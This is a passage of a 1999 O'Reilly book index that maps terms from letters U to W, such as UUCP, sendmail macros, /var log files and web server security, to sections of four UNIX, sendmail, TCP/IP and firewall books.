NIS passwords for : Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
nobody (Secure RPC) : Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
notifying about monitoring : Practical UNIX & Internet Security, 26.2.6. Other Tips
passwords : (see passwd file; passwords)
recipient of bounced mail : (see $n macro)
restricting certain : Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
root : (see root account/user; superusers)
running sendmail manually : sendmail, 1.4. Run sendmail by Hand
security responsibilities : TCP/IP Network Administration, 12.1.3. Writing a Security Policy
semiprivileged : sendmail, 22.5. Permissions
sending messages to : Practical UNIX & Internet Security, 10.5.1. The syslog.conf Configuration File
summarizing system usage by : Practical UNIX & Internet Security, 25.2.2.2. quot command
tainting : Practical UNIX & Internet Security, 18.2.3.4. Tainting with Perl
training : Practical UNIX & Internet Security, 13.2.1. Initial Training
trusted
sendmail, 5.3.10. Trusted Users
sendmail, 14.6. Trusted User
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 22.8.1. Trusted Users
sendmail, 32.5. Alphabetized Reference
unattended terminals
Practical UNIX & Internet Security, 12.3.5. Unattended Terminals
Practical UNIX & Internet Security, 12.3.5.2. X screen savers
unavailable : (see undeliverable addresses in aliases)
USERFILE entries for : Practical UNIX & Internet Security, 15.4.1.2. USERFILE entries for local users
verifying with SMTP : sendmail, 22.3.2. SMTP vrfy and expn
www : Practical UNIX & Internet Security, 18.2.2. Understand Your Server's Directory Structure
users command
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
USESETEUID macro : sendmail, 18.8. Alphabetized Reference
USG (UNIX Support Group) : Practical UNIX & Internet Security, 1.3. History of UNIX
/usr directory
Practical UNIX & Internet Security, 4.3.7. The Bad su Log
(see also /var directory)
/usr/adm directory : Practical UNIX & Internet Security, 11.5.3.6. Other files
/usr/adm/messages file, in security checks
Practical UNIX & Internet Security, 10.2.3. messages Log File
TCP/IP Network Administration, 12.4.2.2. Checking login activity
/usr/adm/lastlog file : Practical UNIX & Internet Security, 10.1.1. lastlog File
/usr/bin directory
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 11.5.1.1. PATH attacks
backing up : Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
/usr/bin/uudecode : (see uudecode program)
/usr/etc/bootpd file : TCP/IP Network Administration, 9.6.1. rdist
/usr/etc/yp/makedbm program : Practical UNIX & Internet Security, 19.4.4.1. Setting up netgroups
/usr/lib directory : Practical UNIX & Internet Security, 11.5.3.6. Other files
in restricted filesystems : Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
/usr/lib/aliases file : Practical UNIX & Internet Security, 11.5.3.3. /usr/lib/aliases, /etc/aliases,
/usr/lib/preserve program : Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
/usr/lib/sendmail : (see sendmail)
/usr/lib/uucp directory
Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
Practical UNIX & Internet Security, 15.5.2. Permissions Commands
/usr/lib/uucp/Devices file : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
/usr/lib/uucp/L-devices file : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
/usr/lib/uucp/L.cmds file : (see L.cmds file)
/usr/lib/uucp/L.sys file : Practical UNIX & Internet Security, 15.3.3. Security of L.sys and Systems Files
/usr/lib/uucp/Permissions file : (see Permissions file)
/usr/lib/uucp/Systems file : Practical UNIX & Internet Security, 15.3.3. Security of L.sys and Systems Files
/usr/lib/uucp/USERFILE file
Practical UNIX & Internet Security, 15.4.1. USERFILE: Providing Remote File Access
Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
/usr/local/bin directory
Practical UNIX & Internet Security, 1.1. What Is Computer Security?
Practical UNIX & Internet Security, 11.5.1.1. PATH attacks
/usr/local/etc/http/logs directory : Practical UNIX & Internet Security, 10.3.5. access_log Log File
/usr/local/lib directory : Practical UNIX & Internet Security, 11.5.3.6. Other files
/usr/sbin/imapd file : TCP/IP Network Administration, 9.7.2. IMAP Server
/usr/sbin/rexecd : (see rexec service)
/usr/spool/cron/crontabs directory : Practical UNIX & Internet Security, 15.6.2. Automatic Execution of Cleanup Scripts
/usr/spool/uucp directory : Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
/usr/spool/uucppublic : (see uucppublic directory)
/usr/src/linux source directory : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
/usr/src/sys/i386/conf directory : TCP/IP Network Administration, 5.3. The BSD Kernel Configuration File
/usr/tmp directory : sendmail, 18.8. Alphabetized Reference
/usr/tmp/gated_dump file : TCP/IP Network Administration, B.1.1. Signal Processing
/usr/ucb directory : Practical UNIX & Internet Security, 11.1.5. Viruses
usrerr() : sendmail, 20.2.1. Accept Mail Only From Our Domain
USRX command, in ESMTP : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
utility programs : Practical UNIX & Internet Security, 1.2. What Is an Operating System?
utimes commandn : Practical UNIX & Internet Security, 24.5.1. Never Trust Anything Except Hardcopy
utmp file
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
uucheck program : Practical UNIX & Internet Security, 15.5.3. uucheck: Checking Your Permissions File
uucico program
Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
Practical UNIX & Internet Security, 15.3. UUCP and Security
Practical UNIX & Internet Security, 15.5.1.1. Starting up
UUCP (UNIX-to-UNIX Copy Protocol)
Building Internet Firewalls, 2.2. File Transfer
Practical UNIX & Internet Security, 4.1.2. Multiple Accounts with the Same UID
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 15. UUCP
Practical UNIX & Internet Security, 15.1.1. uucp Command
Practical UNIX & Internet Security, 15.9. Summary
Practical UNIX & Internet Security, 17.3.20. UUCP over TCP (TCP Port 540)
sendmail, 3.3.2. UUCP
sendmail, 8.1.4. UUCP and Host Paths
sendmail, 19.6. Alphabetized m4 Macros
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 10.5.8. Defining Mailers
additional logins : Practical UNIX & Internet Security, 15.3.1. Assigning Additional UUCP Logins
addresses
sendmail, 17.1.4. UUCP Addresses
sendmail, 17.4. Rule Set 4
bang syntax : TCP/IP Network Administration, 10.7.1. Modifying Local Information
BNU
Practical UNIX & Internet Security, 15.2. Versions of UUCP
Practical UNIX & Internet Security, 15.5. Security in BNU UUCP
Practical UNIX & Internet Security, 15.5.3. uucheck: Checking Your Permissions File
checklist for : Practical UNIX & Internet Security, A.1.1.14. Chapter 15: UUCP
cleanup scripts
Practical UNIX & Internet Security, 11.5.3. Abusing Automatic Mechanisms
Practical UNIX & Internet Security, 15.6.2. Automatic Execution of Cleanup Scripts
configuring : Building Internet Firewalls, 8.2.4. UNIX-to-UNIX
early security problems : Practical UNIX & Internet Security, 15.7. Early Security Problems with UUCP
eliminating support of : sendmail, 19.6. Alphabetized m4 Macros
HoneyDanBer (HDB) : Practical UNIX & Internet Security, 15.2. Versions of UUCP
$k macro : sendmail, 31.10. Alphabetized Reference
local handling of : sendmail, 29.6.5. Handling UUCP Locally
logging : Practical UNIX & Internet Security, 10.3.4. uucp Log Files
m4 configuration options : sendmail, 19.4.6. UUCP
macros for repays : sendmail, 31.10. Alphabetized Reference
mail forwarding : Practical UNIX & Internet Security, 15.6.1. Mail Forwarding for UUCP
naming computer : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
over networks : Practical UNIX & Internet Security, 15.8. UUCP Over Networks
NFS server and : Practical UNIX & Internet Security, 15.3. UUCP and Security
passwords for : Practical UNIX & Internet Security, 15.3.2. Establishing UUCP Passwords
sites, serving
TCP/IP Network Administration, E.3. m4 sendmail Macros
TCP/IP Network Administration, E.3.5. MAILER
system connected with : TCP/IP Network Administration, 10.5.3. The Define Class Command
Taylor : Practical UNIX & Internet Security, 15.2. Versions of UUCP
over TCP : Practical UNIX & Internet Security, 17.3.20. UUCP over TCP (TCP Port 540)
Version 2
Practical UNIX & Internet Security, 15.2. Versions of UUCP
Practical UNIX & Internet Security, 15.4. Security in Version 2 UUCP
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
uucp (user)
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 4.2.2. Other Special Users
UUCP_RELAY macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
UUCP-style lock files
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, A.2. The PPP Daemon
uucpa account : Practical UNIX & Internet Security, 15.3.1. Assigning Additional UUCP Logins
uucpd program : Practical UNIX & Internet Security, 15.8. UUCP Over Networks
uucpdomain feature : sendmail, 19.6. Alphabetized m4 Macros
uucppublic directory
Practical UNIX & Internet Security, 15.1.1. uucp Command
Practical UNIX & Internet Security, 15.4.1.3. Format of USERFILE entry without system name
Practical UNIX & Internet Security, 15.5.2. Permissions Commands
UUCPSMTP macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
uudecode program
Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
sendmail, 22.6. The Aliases File
uuencode program
Practical UNIX & Internet Security, 6.6.1.2. Ways of improving the security of crypt
sendmail, 22.6. The Aliases File
uux command
Practical UNIX & Internet Security, 15.1.2. uux Command
Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
uuxqt program : Practical UNIX & Internet Security, 15.4.1.3. Format of USERFILE entry without system name
uuxqtcmds files : Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

V configuration command
sendmail, 5.2.1. Version
sendmail, 27.5. The V Configuration Command
sendmail, D. Sun Enhancements
-v database switch : sendmail, 33.3.4.11. -v specify the value's column (V8.7 and above)
V line (host status file) : sendmail, B.1. Status file lines
V line (qf file) : sendmail, 23.9. The qf File Internals
$v macro : sendmail, 31.10. Alphabetized Reference
$V macro : sendmail, 31.10. Alphabetized Reference
v option : (see Verbose (v) option)
V option : (see FallbackMXhost (V) option)
-v switch (makemap) : sendmail, 33.2.1.6. -v watch keys and data being added
-v switch (sendmail)
sendmail, 4.2. Verbose (-v)
sendmail, 23.4.1. Printing the Queue in Verbose Mode
sendmail, 23.6.2.2. Combine -v with -q
sendmail, 36.7. Alphabetized Reference
-V switch (sendmail) : sendmail, 36.7. Alphabetized Reference
V.35 : TCP/IP Network Administration, 1.2. A Data Communications Model
V8 sendmail : sendmail, 29.3.1. V8 Enhancements
comments and : sendmail, 27.3. V8 Comments
killing and restarting daemon : sendmail, 4.1.1.1. Kill and restart, beginning with V8.7
m4 preprocessor : sendmail, 19. V8 m4 Configuration
obtaining source code : sendmail, 2.1. Get the Source
Sun Microsystem V8.8 enhancements : sendmail, D. Sun Enhancements
vacation program : sendmail, 25.5.5. Precedence: bulk
vacuums, computer : Practical UNIX & Internet Security, 12.2.1.3. Dust
VALIDATE= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
validating firewalls : Building Internet Firewalls, 6.8.7. It Should Be Able to Log Accepted and
vampire taps : Practical UNIX & Internet Security, 12.3.1.5. Fiber optic cable
Van Jacobson header compression
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 6.4.1. slattach
disabling : TCP/IP Network Administration, A.2. The PPP Daemon
vandalism
Building Internet Firewalls, 1.2.2.2. Vandals
Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
Practical UNIX & Internet Security, 12.2.4. Vandalism
Practical UNIX & Internet Security, 12.2.4.3. Network connectors
/var directory
Practical UNIX & Internet Security, 4.3.7. The Bad su Log
Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
(see also /usr directory)
/var/adm directory : Practical UNIX & Internet Security, 11.5.3.6. Other files
/var/adm/acct : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
/var/adm/lastlog file : Practical UNIX & Internet Security, 10.1.1. lastlog File
/var/adm/loginlog file : Practical UNIX & Internet Security, 10.1.4. loginlog File
/var/adm/messages
Practical UNIX & Internet Security, 10.2.3. messages Log File
Practical UNIX & Internet Security, 4.3.7. The Bad su Log
/var/adm/savacct : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
/var/adm/sulog file : Practical UNIX & Internet Security, 4.3.7. The Bad su Log
/var/adm/wtmp file
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
/var/adm/xferlog : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
/var/log directory : Practical UNIX & Internet Security, 11.5.3.6. Other files
/var/run/dhcpd.pid file : TCP/IP Network Administration, D.2. The dhcpd Command
/var/spool/mqueue temporary files : TCP/IP Network Administration, 10.5.4. The Set Option Command
/var/spool/uucp/.Admin directory : Practical UNIX & Internet Security, 10.3.4. uucp Log Files
/var/yp/Makefile file : sendmail, 7.3.1. The hostname
variable-length subnet masks (VLSMs) : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
variables
bounds checking : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
to CGI scripts : Practical UNIX & Internet Security, 18.2.3.1. Do not trust the user's browser!
environment
sendmail, 5.3.12. Environment variables
sendmail, 22.2. The Environment
global : sendmail, 20.1.2. Global Variables
Vendor Extensions field, in BOOTP : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
vendors : Practical UNIX & Internet Security, 27.3.3. Your Vendor?
liability of : Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
sendmail versions
sendmail, 18.2. Vendor Versus Compiling
sendmail, 27.5.1. The vendor
(see also versions)
vendor-neutral language : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
vendor-specific syntax : TCP/IP Network Administration, 10.5.1. The Version Level Command
ventilation
Practical UNIX & Internet Security, 12.2.1.10. Vibration
(see also dust; smoke and smoking)
air ducts : Practical UNIX & Internet Security, 12.2.3.2. Entrance through air ducts
holes (in hardware) : Practical UNIX & Internet Security, 12.2.4.1. Ventilation holes
VERB command (ESMTP) : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
VERB command (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
VERB command (SMTP) : sendmail, 30.8. Alphabetized F= Flags
Verbose (v) option
sendmail, 34.1.3. Appropriateness of Options
sendmail, 34.8. Alphabetized Reference
verbose mode
sendmail, 4.2. Verbose (-v)
sendmail, 23.4.1. Printing the Queue in Verbose Mode
sendmail, 23.6.2.2. Combine -v with -q
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
TCP/IP Network Administration, A.1. Dial-Up IP
TCP/IP Network Administration, A.3. chat
verify mode
sendmail, 4.1.4. Verify Mode (-bv)
sendmail, 36.7. Alphabetized Reference
verifying : (see testing)
Verisign Inc. : Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
versions
sendmail, 5.2.1. Version
(see also V configuration command)
BIND : sendmail, 21.1.1. Which DNS? 4.8.3 or 4.9?
host status file : sendmail, B.1. Status file lines
m4
sendmail, 19.2. Build with m4
sendmail, 31.10. Alphabetized Reference
mc files : sendmail, 19.6. Alphabetized m4 Macros
qf file : sendmail, 23.9. The qf File Internals
sendmail
sendmail, UNIX and sendmail Versions
sendmail, 5.2.1. Version
sendmail, 18.2. Vendor Versus Compiling
sendmail, 27.5. The V Configuration Command
sendmail, 31.10. Alphabetized Reference
sendmail, D.2. Backward Compatibility
UUCP
Practical UNIX & Internet Security, 15.2. Versions of UUCP
Practical UNIX & Internet Security, 15.4. Security in Version 2 UUCP
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
callback feature : Practical UNIX & Internet Security, 15.4.1.5. Requiring callback
V configuration command : sendmail, D. Sun Enhancements
VERSIONID macro
sendmail, 19.6. Alphabetized m4 Macros
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
vertical bar (|)
! flag : sendmail, 30.8. Alphabetized F= Flags
| prefix
sendmail, 22.4.3. The F Command - Program Form
sendmail, 24.2.3. Delivery via Programs
in addresses : (see programs, delivering to)
Veteran's Health Administration : Practical UNIX & Internet Security, F.3.4.45. U.S. Veteran's Health Administration
vi editor
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 11.5.2.4. .exrc
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
"Via:" header line : sendmail, 35.10. Alphabetized Reference
vibration : Practical UNIX & Internet Security, 12.2.1.10. Vibration
victim hosts : Building Internet Firewalls, 5.6. Selecting Services Provided by the
victim machines : Building Internet Firewalls, 5.2.2. Victim Machines
video content type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
video tape : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
view command
TCP/IP Network Administration, 8.4. Using nslookup
TCP/IP Network Administration, 11.6. Checking Name Service
vipw command : Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
virtual links : TCP/IP Network Administration, B.8.1. The ospf Statement
virtual terminal devices : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
virtual terminals : (see Telnet service)
virtusertable feature : sendmail, 19.6. Alphabetized m4 Macros
Virual Private Networks (VPNs) : Practical UNIX & Internet Security, 21.1.2. Uses of Firewalls
VIRUS-L list : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
viruses
Building Internet Firewalls, 1.4.2.4. A firewall can't protect against
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
voice authentication : Building Internet Firewalls, 10.2.1. Something You Are
voice-message multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
voltage levels : TCP/IP Network Administration, 1.2. A Data Communications Model
voltage spikes : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
VPNs (virtual private networks) : Practical UNIX & Internet Security, 21.1.2. Uses of Firewalls
VRFY command (SMTP)
Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
sendmail, 22.3.2. SMTP vrfy and expn
sendmail, 22.8.3.5. The PrivacyOptions option
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
vsprintf function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
VT100 terminal : Practical UNIX & Internet Security, 27.2.1. Hardware Bugs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

w class
sendmail, 15.4. Hub Accepts Mail for Client
sendmail, 17.2.1. Is the Host Local?
sendmail, 29.6.3. Delivering to Local Recipient
sendmail, 32.5. Alphabetized Reference
w command
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 17.3.1. systat (TCP Port 11)
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
w flag : sendmail, 30.8. Alphabetized F= Flags
$w macro
sendmail, 7.3.1. The hostname
sendmail, 11.6. Handling user@thishost
sendmail, 21.2.1. Determine the Local Canonical Name
sendmail, 31.10. Alphabetized Reference
$W macro : sendmail, 31.10. Alphabetized Reference
w option : (see TryNullMXList (w) option)
WAIS (Wide Area Information Servers)
Building Internet Firewalls, 2.6. Other Information Services
Building Internet Firewalls, 8.7.2. Wide Area Information Servers
wait ogin> command : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
wait-status : TCP/IP Network Administration, 5.4. The Internet Daemon
-Wall option (in C) : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
WANs (Wide Area Networks) : Practical UNIX & Internet Security, 16.1. Networking
war : Practical UNIX & Internet Security, 12.2.5. Defending Against Acts of War and Terrorism
warning messages
sendmail, 26.1. Logging with syslog
(see also logs/logging)
ERRLIST_PREDEFINED macro : sendmail, 18.8. Alphabetized Reference
-f switch and : sendmail, 14.6. Trusted User
severity level
sendmail, 26.1.1. syslog(3)
sendmail, 26.1.2. Tuning syslog.conf
warrants
Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
Practical UNIX & Internet Security, 26.2.5. If You or One of Your Employees Is a Target
water
Practical UNIX & Internet Security, 12.2.1.1. Fire
Practical UNIX & Internet Security, 12.2.1.12. Water
Practical UNIX & Internet Security, 12.2.1.11. Humidity
weakest link
Building Internet Firewalls, 3.4. Weakest Link
Building Internet Firewalls, 9.1.4.4. Weakest link
Building Internet Firewalls, 9.2.3.4. Weakest link
web : (see World Wide Web)
web browsers
Building Internet Firewalls, 2.5. The World Wide Web
Practical UNIX & Internet Security, 18.5. Risks of Web Browsers
Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
TCP/IP Network Administration, 13.1. The World Wide Web
as FTP clients : Building Internet Firewalls, 8.2.1.1. Packet filtering characteristics of
as Gopher clients : (see Gopher)
MIME in : Building Internet Firewalls, 8.1.3. Multipurpose Internet Mail Extensions
Netscape Navigator
Building Internet Firewalls, 2.5. The World Wide Web
TCP/IP Network Administration, 13.1. The World Wide Web
encryption system of : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
random number generator : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
web documents : (see HTML documents)
web servers
Practical UNIX & Internet Security, 18.2. Running a Secure Server
Practical UNIX & Internet Security, 18.2.5. Other Issues
access to files on
Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
authentication users : Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
.htaccess file bug : Practical UNIX & Internet Security, 18.3.1. The access.conf and .htaccess Files
log files : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
Macintosh : Practical UNIX & Internet Security, 18.2. Running a Secure Server
multiple suppliers of : Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
as superuser : Practical UNIX & Internet Security, 18.2.1. The Server's UID
symbolic-link following : Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
Weiner, Michael : Practical UNIX & Internet Security, 6.4.4.3. DES strength
well-known ports
Building Internet Firewalls, C.12.3. Sockets
TCP/IP Network Administration, 2.7.3. Sockets
TCP/IP Network Administration, 3.6. Bootstrap Protocol
TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
Well-Known Services (WKS) resource records
TCP/IP Network Administration, 2.7. Protocols, Ports, and Sockets
TCP/IP Network Administration, C.3.1.8. Well-Known Services record
Westinghouse : Practical UNIX & Internet Security, F.3.4.46. Westinghouse Electric
wheel group
Practical UNIX & Internet Security, 4.1.3.1. The /etc/group file
Practical UNIX & Internet Security, 4.3.6. Restricting su
Practical UNIX & Internet Security, 8.5.2. The wheel Group
white pages : TCP/IP Network Administration, 13.6. The White Pages
whitespace
blank line at message end : sendmail, 30.8. Alphabetized F= Flags
continuation lines : sendmail, 27.4. Continuation Lines
in macros
sendmail, 7.1. Overview
sendmail, 31.3.2. Syntax of the Configuration File Macro's Text
old-style address lists : sendmail, 13.2.7. Accept Old-Style Lists of Addresses
in recipient lists : sendmail, 34.8. Alphabetized Reference
replacement character for space
sendmail, 13.2.8. The Unquoted Space Replacement Character
sendmail, 34.8. Alphabetized Reference
replacing in database keys : sendmail, 33.3.4.10. -s space replacement character (V8.7 and above)
in sendmail.cf file : sendmail, 27.2. Comments
space character : sendmail, 28.2.2. The Space Character Is Special
stripping newlines from "From:" headers : sendmail, 34.8. Alphabetized Reference
who command
Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 17.3.1. systat (TCP Port 11)
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
TCP/IP Network Administration, 12.4.1. Know Your System
whodo command
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
whois command
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
TCP/IP Network Administration, 13.6. The White Pages
whois service
Building Internet Firewalls, 2.7. Information About People
Building Internet Firewalls, 8.8.2. whois
Wide Area Information Servers
Building Internet Firewalls, 2.6. Other Information Services
Building Internet Firewalls, 8.7.2. Wide Area Information Servers
wide area networks (WANs)
Practical UNIX & Internet Security, 16.1. Networking
TCP/IP Network Administration, 3.7.1. File Sharing
TCP/IP Network Administration, 6.2. TCP/IP Over a Serial Line
TCP/IP Network Administration, 11.3.1. The ping Command
TCP/IP Network Administration, 11.4.4.1. Network hardware problems
wildcard MX records : sendmail, 21.3.4. Wildcard MX Records
wildcard operators
sendmail, 8.7. Wildcard Operators
sendmail, 8.7.3. More Play with LHS Matching
sendmail, 28.2.1. $ Operators Are Tokens
sendmail, 28.5. The LHS
sendmail, 28.6. The RHS
(see also $ operators)
positional operators
sendmail, 9.2.3. The User ($:)
sendmail, 28.6.1. Copy by Position: $digit
WILDCARD_SHELL macro : sendmail, 18.8. Alphabetized Reference
window : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
window systems : Building Internet Firewalls, 2.13. Window Systems
X11 : (see X11 window system)
window of time : (see time and date)
windows (glass) : Practical UNIX & Internet Security, 12.2.3.3. Glass walls
windows servers : (see NSWS; X Window System)
wireless transmission : (see radio)
wiretaps : (see eavesdropping)
wiz command : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
wizard's password (sendmail) : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
WKS resource records
TCP/IP Network Administration, 2.7. Protocols, Ports, and Sockets
TCP/IP Network Administration, C.3.1.8. Well-Known Services record
WN server : Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
wordinclass() : sendmail, 20.3. Alphabetized V8.8 Subroutines
workspace
sendmail, 8.5. The Workspace
sendmail, 28.3. The Workspace
tokenizing : (see tokenization)
workstations, backing up : Practical UNIX & Internet Security, 7.2.1. Individual Workstation
world permissions : TCP/IP Network Administration, 9.1.5. NFS Authentication Server
World Wide Web (WWW)
Building Internet Firewalls, 2.5. The World Wide Web
Practical UNIX & Internet Security, 18. WWW Security
Practical UNIX & Internet Security, 18.7. Summary
TCP/IP Network Administration, 13.1. The World Wide Web
Archie access via : Building Internet Firewalls, 8.7.3.3. Providing Archie service to your
browsers : (see web browsers)
checklist for : Practical UNIX & Internet Security, A.1.1.17. Chapter 18: WWW Security
configuring : Building Internet Firewalls, 8.6. World Wide Web (WWW) and HTTP
documents on : (see HTML documents)
eavesdropping on
Practical UNIX & Internet Security, 18.4. Avoiding the Risks of Eavesdropping
Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
encrypting information on : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
HTTP : (see HTTP)
logging dowloaded files : Practical UNIX & Internet Security, 10.3.5. access_log Log File
MIME in : Building Internet Firewalls, 8.1.3. Multipurpose Internet Mail Extensions
posting breakins on : Practical UNIX & Internet Security, 24.6. Resuming Operation
resources for
Building Internet Firewalls, A.1. WWW Pages
Building Internet Firewalls, A.3.7. WWW-Security
Practical UNIX & Internet Security, E.3. WWW Pages
security mailing list : Practical UNIX & Internet Security, E.1.3.10. WWW-security
servers : (see Web servers)
trademarks and copyrights
Practical UNIX & Internet Security, 26.4.2. Copyright Infringement
Practical UNIX & Internet Security, 26.4.3. Trademark Violations
viruses through : Practical UNIX & Internet Security, 11.1.5. Viruses
world-readable file : TCP/IP Network Administration, 12.2.1. The Shadow Password File
world-writable files/directories : Practical UNIX & Internet Security, 11.6.1.1. World-writable user files and directories
Worm program
Practical UNIX & Internet Security, 1. Introduction
Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
worms
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.6. Worms
wrappers
sendmail, 22.4.1. Accept/Reject Connections via libwrap.a
TCP/IP Network Administration, 12.5.1. wrapper
checklist for : Practical UNIX & Internet Security, A.1.1.21. Chapter 22: Wrappers and Proxies
tcpd : TCP/IP Network Administration, 5.4. The Internet Daemon
writable directories in anonymous FTP : Building Internet Firewalls, 8.2.1.6. Be careful of writable
write command
Practical UNIX & Internet Security, 5.5.3.1. write: Example of a possible SUID/SGID security
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
in Swatch program : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
time-outs on : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
write permission
